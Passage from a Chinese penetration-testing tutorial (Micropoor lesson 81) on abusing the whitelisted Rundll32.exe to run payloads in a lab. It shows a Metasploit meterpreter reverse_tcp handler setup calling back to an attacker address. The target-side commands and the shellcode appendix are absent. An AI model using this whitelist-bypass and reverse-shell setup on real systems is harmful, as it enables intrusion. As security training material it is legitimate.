search

第八十一课：基于白名单Rundll32.exe执行payload第十一季

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

hashtag
Rundll32简介：

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。

Windows 2003 默认位置：

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Windows 7 默认位置：

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

攻击机： 192.168.1.4 Debian 靶机： 192.168.1.119 Windows 2003 192.168.1.5 Windows 7

hashtag
基于远程加载（1）：

配置攻击机msf： 注：x86 payload

msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 

Payload options (windows/meterpreter/reverse_tcp): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.1.4 yes The listen address (an interface may be specified)

LPORT 53 yes The listen port 

Exploit target: 

Id Name
‐‐ ‐‐‐‐
0 Wildcard Target 

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.4:53

hashtag
靶机执行：

注：x64 rundll32.exe

hashtag
基于本地加载（2）：

payload配置：

靶机执行：

hashtag
基于命令执行（3）：

靶机执行：

Windows 2003：

注：如靶机支持powershell，调用powershell更贴合实战。

hashtag
附录：Rundll32_shellcode

Micropoor

Previous81-90课Next第八十二课：基于白名单Odbcconf执行payload第十二季

Last updated

Was this helpful?